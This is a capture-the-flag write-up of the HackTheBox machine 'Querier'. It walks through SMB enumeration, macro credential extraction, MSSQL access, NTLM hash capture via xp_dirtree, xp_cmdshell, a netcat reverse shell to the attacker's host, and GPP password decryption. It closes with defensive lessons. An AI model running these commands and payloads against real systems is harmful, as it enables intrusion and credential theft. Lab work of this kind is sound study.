# OSCP Prep #18
HTB Write-Up Querier

# 1\. Target Overview

**Machine Name:** Querier  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:** 10.129.9.231

**Objective:**  
Gain initial access to the target system and escalate privileges to obtain administrative-level access.

This machine stood out to me because there was no Active Directory domain to lean on and no web application to exploit. Everything revolved around SMB and MSSQL,

## Tools Used

*   RustScan
    
*   SMBClient
    
*   NetExec (nxc)
    
*   Olevba
    
*   Impacket (mssqlclient)
    
*   Responder
    
*   John the Ripper
    
*   Netcat
    
*   Evil-WinRM
    
*   gpp-decrypt
    

* * *

# 2\. Enumeration

I kicked things off with a port scan to map out the attack surface:

```bash
rustscan -a 10.129.9.231 -b 7000
```

The results painted a clear picture:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ceeaa34a-0097-433a-bd91-816e70215445.png align="center")

*   SMB (139, 445)
    
*   RPC (135 + high ports)
    
*   WinRM (5985)
    
*   MSSQL (1433)
    

That combination immediately suggested a Windows host with remote management exposed and a database service.

Another useful detail surfaced during enumeration—the FQDN:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc4362d4-368a-431c-9a07-19c9b31ea119.png align="center")

```bash
querier.htb.local
```

I added it to my hosts file right away:

```bash
echo "10.129.9.231 querier.htb.local" | sudo tee -a /etc/hosts
```

* * *

### SMB Enumeration

With SMB open, it made sense to start there. It’s fast to check and has a habit of exposing things it shouldn’t—whether that’s files, usernames, or outright credentials.

My first pass used NetExec:

```bash
nxc smb 10.129.9.231 -u '' -p '' --shares
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2b542d28-a21f-40ae-adf7-5f3975f7dd45.png align="center")

The output suggested that anonymous authentication wasn’t allowed. That could have been the end of the road for SMB, but I’ve seen enough inconsistencies across tools to know better than to trust a single result.

To verify, I switched to `smbclient`:

```bash
smbclient -N -L //10.129.9.231
```

This time, I got a valid share listing.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b505ecdd-cbfa-4594-9c2b-efb9585d9d78.png align="center")

That difference is exactly why it’s worth cross-checking tools—same idea, different implementation, completely different outcome.

Among the shares, one stood out:

```text
Reports
```

I connected to it:

```bash
smbclient -N //10.129.9.231/Reports
```

A quick directory listing showed:

```text
Currency Volume Report.xlsm
```

A single file, I downloaded it for a closer look.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0c79bd70-101d-4c5b-a0e3-cd0f67104f72.png align="center")

* * *

### File Analysis

Macro-enabled Office files are always worth digging into. They’re often used to automate tasks internally, which means they sometimes carry hardcoded credentials or logic that wasn’t meant to be exposed.

After pulling the file locally, I ran:

```bash
olevba Currency\ Volume\ Report.xlsm
```

The macro content revealed exactly that—embedded credentials:

```text
User: reporting
Password: PcwTWrHwrwyjc$c6
```

At this point, the direction was clear. Those credentials had to belong somewhere, and given the services available, MSSQL was the most likely candidate.

* * *

# 3\. Exploitation

With a valid username and password in hand, the next step was to test them against exposed services. MSSQL stood out immediately, especially since service accounts are often tied directly to database access.

```bash
impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
```

The connection succeeded, giving me a foothold inside the database.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a9d73347-12d4-4e5f-99ac-23ec7b47d9d4.png align="center")

* * *

### Initial SQL Enumeration

The first priority was to understand the level of access I had:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
```

The result showed that `reporting` was a low-privileged user. No direct path to execution there.

Next, I checked what databases were available:

```sql
SELECT name FROM master.sys.databases;
```

One entry stood out:

```text
volume
```

Switching to it:

```sql
use volume;
```

Unfortunately, it was empty. No useful tables, no sensitive data, nothing to extract.

At that point, it was clear that progress wouldn’t come from data mining. The focus had to shift toward abusing MSSQL itself.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/feb11263-b0c2-4623-9fee-a1197d97c8a8.png align="center")

* * *

### Hash Capture via xp\_dirtree

MSSQL includes several stored procedures that interact with the filesystem, and some of them can be repurposed in interesting ways. One of those is `xp_dirtree`.

Instead of pointing it at a local directory, I directed it toward a share I controlled:

```sql
xp_dirtree \\10.10.15.205\neo
```

That forced the server to attempt an SMB connection back to me.

Behind the scenes, the MSSQL service tried to authenticate to my machine using its own service account. With Responder running, I captured the resulting NTLMv2 hash:

```text
mssql-svc::QUERIER:...
```

* * *

### Cracking the Hash

Once captured, the hash was saved and cracked:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/825f6da8-4bc1-466a-af4e-36f92e5cf8f3.png align="center")

```bash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

The result:

```text
mssql-svc : corporate568
```

This was the real pivot point. Service accounts tend to have broader permissions, and this one was no exception.

* * *

# 4\. Privilege Escalation

### MSSQL Privilege Abuse → RCE

I reconnected using the new credentials:

```bash
impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth
```

Checking permissions again:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
```

This time, the output told a very different story:

*   `CONTROL SERVER`
    
*   `IMPERSONATE`
    

Those privileges effectively grant full control over the MSSQL instance. At that point, the goal shifts from access to execution.

* * *

### Enabling xp\_cmdshell

With sufficient privileges, I enabled `xp_cmdshell`:

```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

This is where MSSQL stops being just a database and starts acting as a bridge into the operating system.

* * *

### Reverse Shell

To turn command execution into a usable foothold, I hosted a Netcat binary over SMB and executed it remotely:

```sql
xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001
```

On my end:

```bash
nc -lvnp 9001
```

The connection came through as:

```text
querier\mssql-svc
```

Now I had a shell on the box.

* * *

### Local Enumeration

With system access established, I moved into local enumeration.

Checking privileges:

```powershell
whoami /all
```

Nothing useful.

Looking at users:

*   `mssql-svc`
    
*   `Administrator`
    

That ruled out lateral movement and pointed toward local privilege escalation.

Autologon credentials were next on the list, but nothing turned up. At that stage, I started checking common misconfigurations that tend to get overlooked.

* * *

### GPP Password Discovery

One of the more reliable places to look in environments like this is cached Group Policy Preferences.

I navigated to:

```text
C:\ProgramData\Microsoft\Group Policy\History\
```

Then searched for XML files:

```powershell
dir "C:\ProgramData\Microsoft\Group Policy\History\" -Recurse -Include *.xml
```

This led me to:

```text
Groups.xml
```

Inside was a `cpassword` value—exactly what I was hoping to find.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5ff178b3-c6a0-444d-8658-8806773c70ff.png align="center")

* * *

### Decrypting cpassword

I pulled the value and decrypted it:

```bash
gpp-decrypt <cpassword>
```

Which returned:

```text
Administrator : MyUnclesAreMarioAndLuigi!!1!
```

That was the final piece.

* * *

### Final Access

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c2d1adcf-f9f7-4f40-b702-48e996f5ebd2.png align="center")

```bash
evil-winrm -i 10.129.9.231 -u Administrator
```

```powershell
whoami
querier\administrator
```

* * *

# 5\. Lessons Learned

**1\. Enumeration Needs Verification, Not Assumptions**  
A single tool suggested SMB was locked down. A second tool proved otherwise. That difference led directly to initial access.

**2\. SMB Still Delivers Value in Subtle Ways**  
Even limited access can expose files that shift the entire attack path.

**3\. MSSQL Is a Full Attack Surface**  
Treating it as just a database would have stalled progress. Understanding its interaction with the system made the difference.

**4\. xp\_dirtree Is a Reliable Pivot Technique**  
It turns database access into credential harvesting with very little effort.

**5\. Privilege Context Defines Capability**  
The jump from low-priv user to `CONTROL SERVER` is what unlocked RCE.

**6\. GPP Credentials Are Still an Easy Win**  
They remain one of the most consistent privilege escalation vectors on Windows systems.

**7\. Small Details Compound Into Full Compromise**  
No single step here was overly complex, but each one built cleanly into the next.

* * *

# 6\. Defensive Insight

**1\. SMB Access Should Be Consistently Enforced**  
Inconsistent handling of anonymous access can expose sensitive resources.

**2\. Credentials Should Never Be Embedded in Files**  
Storing passwords in macros creates immediate exposure if the file is accessible.

**3\. MSSQL Features Like xp\_cmdshell Should Be Restricted**  
These capabilities should not be available without strict controls.

**4\. Outbound Authentication Should Be Monitored**  
Unexpected SMB connections to external hosts are a strong indicator of abuse.

**5\. GPP Password Storage Should Be Eliminated**  
`cpassword` is reversible and should not exist in any modern environment.

**6\. Service Accounts Should Follow Least Privilege**  
Granting `CONTROL SERVER` unnecessarily creates a direct path to compromise.

* * *

## 7\. Useful Commands

### Scanning

```bash
rustscan -a 10.129.9.231 -b 7000
```

### SMB Enumeration

```bash
smbclient -N -L //10.129.9.231
smbclient -N //10.129.9.231/Reports
```

### File Analysis

```bash
olevba Currency\ Volume\ Report.xlsm
```

### MSSQL Access

```bash
impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth
```

### SQL Enumeration

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name FROM master.sys.databases;
```

### Hash Capture

```sql
xp_dirtree \\10.10.15.205\neo
```

### Cracking

```bash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

### Reverse Shell

```sql
xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001
```

### GPP Decryption

```bash
gpp-decrypt <cpassword>
```

### Final Access

```bash
evil-winrm -i 10.129.9.231 -u Administrator
```

* * *